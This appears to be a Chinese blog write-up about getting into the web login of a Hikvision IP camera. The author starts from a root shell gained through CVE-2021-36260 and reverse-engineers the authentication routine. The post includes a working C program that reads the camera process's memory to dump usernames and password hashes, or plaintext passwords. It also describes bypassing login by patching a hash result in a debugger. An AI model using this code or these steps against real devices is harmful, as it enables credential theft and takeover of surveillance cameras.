通过CVE-2021-36260登录海康IPC-WEB
2023-10-10 17:44:54

起因

在扫描设备时发现一条告警,某IPC具有CVE-2021-36260漏洞,通过CVE-2021-36260 POC可以直接获得一个root shell。同时该设备还具有WEB服务,于是乎想试一试能不能登录,寻找了一下配置文件没有发现,遂有此篇。

WEB服务

不得不说IPCWEB的asp后缀名很诱惑人啊,但是在shell里查看了一下发现都是普通HTML。

于是乎看一下是谁监听的80端口

image-20231010175316196

看来是这个davinci程序提供的WEB服务,将其软连接到WEB目录下并通过web下载到本地进行分析

ln -s /home/process/davinci /home/webLib/doc/page/davinci

拿到文件后抓包了一下登录请求,通过password字段定位到验证函数sub_48E09C,根据dev_debug_v1中的调试信息发现

验证逻辑

image-20231010175953430

其中凭证哈希通过内存中的结构体读取

image-20231010180045702

由于我们已经有shell,所以这里直接写代码从内存中将hash数据读取出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#define export_pDevCfgParam 0x7BAAC0
#define MEM_FILE "/proc/555/mem"

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>

int fd;
int readPointer( int pointer){
int value;
lseek(fd, pointer, SEEK_SET);
read(fd, &value, sizeof(int));
return value;
}
char* readCString( int pointer){
int i = 0;
char* buffer = malloc(0x100);
lseek(fd, pointer, SEEK_SET);
while(1){
read(fd, &buffer[i], 1);
if(buffer[i] == 0x00){
break;
}
i++;
}
return buffer;
}


int main(){
fd = open(MEM_FILE, O_RDWR);
int pDevCfgParam = readPointer(export_pDevCfgParam);
int firstUser = pDevCfgParam + 0x89ee0;
int lastUser = pDevCfgParam + 0x8CAE0;
do{
char* userName = readCString(firstUser);
if(userName[0] == 0x00){
free(userName);
break;
}
printf("user: %s\n",userName);
free(userName);
char* userPassword = readCString(firstUser + 48);
printf("password: %s\n",userPassword);
free(userPassword);
firstUser += 352;
}while(firstUser != lastUser);
}

得到hash

image-20231010180328627

同时在上面的图中我们发现其是将哈希与challenge拼接后的hash进行98次sha256后与输入内容进行比较的,这点我们在前端搜索SHA256发现与其相互印证的逻辑

image-20231010180537584

而且我们可以得知之前取得hash的计算方法为用户名+盐值+密码,所以可以尝试通过hash爆破明文密码

这里我们直接在第一次sha256下断点后修改其返回结果为从shell中获取的值,执行后登陆成功。

更新

通过对SHA256函数的交叉引用找到了生成hash的位置

image-20231011184134516

确定v11为明文密码,其来源为v4+32

v4为该结构体指针,所以可以通过修改之前的代码中读取偏移为+32直接读取明文密码

Prev
2023-10-10 17:44:54